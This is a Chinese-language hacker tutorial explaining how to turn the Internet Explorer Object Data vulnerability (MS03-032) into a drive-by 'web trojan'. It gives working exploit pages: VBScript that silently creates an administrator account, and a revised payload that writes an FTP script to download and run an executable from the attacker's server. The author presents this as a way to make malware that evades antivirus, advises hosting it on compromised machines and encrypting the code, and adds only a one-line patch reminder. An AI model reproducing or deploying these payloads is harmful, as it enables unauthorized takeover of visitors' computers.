[摘要]利用Internet Explorer Object Data漏洞制做全新网页木马今年8月20日,微软公布了一个最高严重等级的重要漏洞--Internet Explorer Object数据远程执行...
利用Internet Explorer Object Data漏洞制做全新网页木马今年8月20日,微软公布了一个最高严重等级的重要漏洞--Internet Explorer Object数据远程执行漏洞。这对于网页木马爱好者来说可是一件好事,我们可以用这个漏洞来制做一款全新的暂时不会被查杀的木马了。在介绍如何制做这个全新网页木马前我先给大家简单介绍一下该漏洞。
一、漏洞描述
该漏洞内由eEye Digital Security发现并于8月20号公布的,微软同一天也发布了相应的公告。在eEye的网站公布页面http://www.eeye.com/html/Research/Advisories/AD20030820.html这个文档中提到,Microsoft Internet Explorer是一款流行的WEB浏览程序,Internet Explorer在处理对象"Object"标记时没有正确处理要被装载的文件参数。
"Object"标记用于插入ActiveX组件等对象到HTML页面。"Object"标记的"Type"属性用于设置或获取对象的MIME类型。通常合法MIME类型包括"plain/text"或"application/hta", "audio/x-mpeg"等。Internet Explorer指定远程对象数据位置的参数没有充分检查被装载的文件属性,攻击者可以构建恶意页面,诱使用户访问来运行恶意页面指定的程序 。Windows 2003 Internet Explorer由于使用了"Enhanced Security Configuration Mode"模式,默认是使用 了"Disable ActiveX",因此此漏洞在Windows 2003 IE级别为中等。
这段描述很专业,不过看不懂的菜鸟可以跳过,直接学制做方法。:-)
二、受影响的系统版本
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 5.5SP2
Microsoft Internet Explorer 5.5SP1
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 5.01
Microsoft Internet Explorer 5.0.1SP3
Microsoft Internet Explorer 5.0.1SP2
Microsoft Internet Explorer 5.0.1SP1
Microsoft Internet Explorer 6.0SP1
- Microsoft Windows XP
- Microsoft Windows NT 4.0
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows 2003 Web Edition
- Microsoft Windows 2003 Standard Edition
- Microsoft Windows 2003 Enterprise Edition 64-bit
- Microsoft Windows 2003 Enterprise Edition
- Microsoft Windows 2003 Datacenter Edition 64-bit
- Microsoft Windows 2003 Datacenter Edition
- Microsoft Windows 2000
三、漏洞利用详细方法
根http://www.eeye.com/html/Research/Advisories/AD20030820.html这个页面的提示,我写出了两个简单的测试页面。请先看代码和注释,我再来讲解一下。 --------------test.htm代码开始-----------------
<html>
<body>
这是个测试页,如果你的系统是w2k或xp,访问后将会增加一个用户名是lcx密码是lcxlcx的管理用户
<object data="http://127.0.0.1/test.test";></object>
<!--这就是来调用一个恶意页面了test.test,我是在本机测试的,放在我的iis管理器根目录下,所以urlhttp://127.0.0.1;如果你要用这段代码,请更改相应的网test.test的url地址,http://127.0.0.1/test.test改成http://你的url/test.test--!>
</body>
------------test.htm代码结束----------------------------test.htm中写到的test.test代码开始------------------
<html>
<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
<script language=vbscript>
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c net user lcx lcxlcx /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators lcx /add",0)
这是加一个用户是lcx密码是lcxlcx的管理用户,这段vbs你应当会看懂
</script>
</html>
------------test.test代码结束---------------我们的恶意页面已经构造完成,此时将test.htm和test.test放在网站同一目录里,像我是放http://127.0.0.1/下;直接打http://127.0.0.1/test.htm并不会在执行者的机器上执行test.test里的代码的,不会加一个用户是lcx密码是lcxlcx的管理用户的。我们还需要设置一下服务器的配置才行。漏洞描述中提到:Internet Explorer指定远程对象数据位置的参数没有充分检查被装载的文件属性。这段话具体是什么意思呢,怎样体现呢?请跟着我来做你就明白了:我们依次打开控制面板--管理工具--Internet 服务管理器-找一个web站点,像我的电脑是默认的web站点--右键属性--点http头,如图1。
然后再更改服务器的MIME映射,使扩展名.test对应为application/hta。做法就是点图1的文件类型图标,在弹出的文件类型对话框里点新增按扭,然后分别在关联扩展名输入框里写入.test,在内容类型(mime)里写入application/hta。如图2所示。
一切设置好后点确定了,我们此时再来打开test.htm,test.test里的恶意代码就会成功执行了。我执行test.htm时,我的最新升级的vrv杀毒软件竟然一点提示都没有。
值得注意的是,由于我的test.htm调用文件是test.test,文件后缀是.test,所以在iis管理器里(图1图2)用application/hta来对应.test。如果你调用的是test.xxx,那么你也要在iis管理器里用application/hta对应.xxx。
这两段代码只是在被执行者的机器里加一个用户而已,难道不能执行一个exe木马吗?当然可以!我用了一个晚上的时间,终于将这段代码写好了,而且调试也成功了。在写出这段代码前,大家先来复习一下如何在dos下用ftp.exe命令来下载文件。
假设我的ftp服务器是127.0.0.1,用户名是lcx,密码是123456,服务器上有一个xxx.exe文件,如何来下载呢?很简单,先写一个ftp.txt文本文件,内容如下:
open 127.0.0.1
lcx
123456
get xxx.exe
bye
然后我们把ftp.txt和ftp.exe放在同一目录下,执行ftp -s:ftp.txt这个命令,一会功夫,xxx.exe就会从ftp服务器里下载到前目录了。如图3所示。
好,知道了这些,我们把test.test的内容改造如下:--------------test.htm中写到的test.test改造后的代码开始------------------<html>
<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
<script LANGUAGE="VBScript">
Dim fso, tf,wsh
Set fso = CreateObject("Scripting.FileSystemObject")
set wsh=createobject ("wscript.shell" )
Set tf = fso.CreateTextFile("ftp.txt",true)
tf.Write "open 127.0.0.1"&
&chr(10)
tf.Write "lcx"&
&chr(10)
tf.Write "123456"&
&chr(10)
tf.Write "get xxx.exe"&
&chr(10)
tf.Write "bye"
tf.Close
以上代码就是用vbs来写入一个ftp.txt文件了,默认是放在%system32%下的,ftp.txt里的内容就是我上文提到过的
a=wsh.Run ("ftp -s:ftp.txt",0,true)
b=wsh.Run ("xxx.exe")
window.close
这三段代码是下载并执行xxx.exe,并且不打开test.test这个窗口
</script>
</html>
------------test.test代码结束---------------这样,我将test.htm、test.test、xxx.exe放在我的服务器127.0.0.1下,让别人访http://127.0.0.1/test.htm,访问者的机器就会自动下载并执行xxx.exe这个木马。看了我的介绍,你是不是又学会了一种全新的网页木马制做方法了?为了大家方便,我已将test.htm和2个test.test的源码放在光盘里了,如果你要用的话,请稍微做下相应修改就可以了。不过,lcx可要提醒你两点呀。第一做这个木马最好用肉鸡来做,普通空间没有人会帮你在iis管理器里设置application/hta对应.test。第二是test.test里会写入你的ftp帐号密码信息,所以你做网页木马时可别用你的收费空间。即使用了免费空间,最好也将test.test的html源码加下密。
明白了制做方法,我们当然也要做好自身的防护。那就是赶快打好ie的补丁吧,微软提供的补丁下载地址是http://www.microsoft.com/technet/security/bulletin/MS03-032.asp。
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。
关键词:运用Internet Explorer Object Data漏洞制做全新页面木马